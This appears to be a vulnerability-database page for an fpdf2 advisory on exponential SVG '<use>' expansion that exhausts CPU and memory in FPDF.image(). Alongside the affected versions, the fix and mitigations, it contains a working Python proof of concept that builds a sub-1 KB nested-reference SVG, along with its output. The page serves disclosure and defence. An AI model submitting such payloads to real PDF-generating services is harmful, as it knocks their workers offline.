fpdf2: Exponential SVG '<use>' expansion causes CPU and memory exhaustion in 'FPDF.image()'GHSA-wqw6-wpr3-45rh
MEDIUMFix: py-pdf/fpdf2#1889GHSA-wqw6-wpr3-45rh is a medium-severity (CVSS 6.5) Uncontrolled Resource Consumption vulnerability in fpdf2. A fix is available for fpdf2 — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-wqw6-wpr3-45rh.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-wqw6-wpr3-45rh by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 396,966 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
fpdf2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.
This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.
Details
The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.
When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():
pdf_group.add_item(self.cross_references[ref])
GraphicsContext.add_item() uses clone=True by default and deep-copies the object:
def add_item(self, item, clone=True):
if clone:
item = deepcopy(item)
self.path_items.append(item)
An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.
ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.
PoC
This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.
import resource
import time
from fpdf import FPDF
groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
uses = f'<use href="#g{level - 1}"/>' * 8
groups.append(f'<g id="g{level}">{uses}</g>')
svg = (
'<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
'<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()
pdf = FPDF()
pdf.add_page()
limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()
try:
pdf.image(svg, w=10)
except MemoryError:
elapsed = time.perf_counter() - started
max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")
payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB
Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.
Impact
This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.
The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fpdf2 | ≥ 2.5.0&&< 2.8.8 | 2.8.8pip install --upgrade 'fpdf2==2.8.8' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fpdf2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fpdf2 to 2.8.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wqw6-wpr3-45rh is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is GHSA-wqw6-wpr3-45rh in your dependencies?
Find it across PyPI, including transitive dependencies.